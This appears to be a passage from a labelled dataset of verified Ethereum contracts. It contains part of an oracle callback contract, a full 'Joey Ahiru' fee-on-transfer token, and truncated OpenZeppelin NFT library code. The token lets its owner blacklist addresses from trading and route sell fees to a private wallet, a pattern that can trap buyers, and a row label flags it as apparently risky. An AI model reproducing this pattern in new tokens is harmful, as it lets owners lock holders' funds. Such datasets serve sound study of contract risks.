oraclizeCallbacks[_queryId] = OraclizeCallback(_policyId, _oraclizeState, _oraclizeTime);
}
// mixed
function checkTime(bytes32 _queryId, bytes32 _riskId, uint _offset) public returns (bool _result) {
OraclizeCallback storage o = oraclizeCallbacks[_queryId];
Risk storage r = risks[_riskId];
_result = o.oraclizeTime > r.arrivalTime + _offset;
}
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] |
/**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-24
*/
/*
The new Trendsetter, AHIRUs (ducks) have come to TakeOver.
JOEY AHIRU is the latest token on the Ethereum network and
based on the legendary character JOEY and will be a trendsetter
in starting the AHIRU based tokens on the network.
It aims to reward the loyal F.R.I.E.N.D.S through Redistributions.
💻Website: https://joeyahiru.com/
💬Telegram: https://t.me/JoeyAhiruToken
🐦Twitter: https://twitter.com/JoeyAhiruToken
Tokenomics : 2% Redistributions, 4% Marketing, 4% Dev, Maintenance fee
░░░░░██╗░█████╗░███████╗██╗░░░██╗ ░█████╗░██╗░░██╗██╗██████╗░██╗░░░██╗
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*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JoeyAhiru is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Joey Ahiru";
string private constant _symbol = "JOEY";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x849155003B04486448bcC687d2e7A2B44506B1F4);
_feeAddrWallet2 = payable(0x849155003B04486448bcC687d2e7A2B44506B1F4);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
//-------------DEPENDENCIES--------------------------//
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: SafeMath is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if account is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, isContract will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on isContract to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's transfer: sends amount wei to
* recipient, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by transfer, making them unable to receive funds via
* transfer. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to recipient, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level call. A
* plain call is an unsafe replacement for a function call: use this
* function instead.
*
* If target reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[abi.decode].
*
* Requirements:
*
* - target must be a contract.
* - calling target with data must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], but with
* errorMessage as a fallback revert reason when target reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but also transferring value wei to target.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least value.
* - the called Solidity function must be payable.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[functionCallWithValue], but
* with errorMessage as a fallback revert reason when target reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} tokenId token is transferred to this contract via {IERC721-safeTransferFrom}
* by operator from from, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with IERC721.onERC721Received.selector.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* interfaceId. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
*
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when tokenId token is transferred from from to to.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when owner enables approved to manage the tokenId token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when owner enables or disables (approved) operator to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in owner's account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the tokenId token.
*
* Requirements:
*
* - tokenId must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers tokenId token from from to to, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - from cannot be the zero address.
* - to cannot be the zero address.
* - tokenId token must exist and be owned by from.
* - If the caller is not from, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers tokenId token from from to to.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - from cannot be the zero address.
* - to cannot be the zero address.
* - tokenId token must be owned by from.
* - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to to to transfer tokenId token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - tokenId must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for tokenId token.
*
* Requirements:
*
* - tokenId must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove operator as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The operator cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the operator is allowed to manage all of the assets of owner.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers tokenId token from from to to.
*
* Requirements:
*
* - from cannot be the zero address.
* - to cannot be the zero address.
* - tokenId token must exist and be owned by from.
* - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by owner at a given index of its token list.
* Use along with {balanceOf} to enumerate all of owner's tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given index of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for tokenId token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a uint256 to its ASCII string decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a uint256 to its ASCII string hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a uint256 to its ASCII string hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from ReentrancyGuard will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single nonReentrant guard, functions marked as
* nonReentrant may not call one another. This can be worked around by making
* those functions private, and then adding external nonReentrant entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
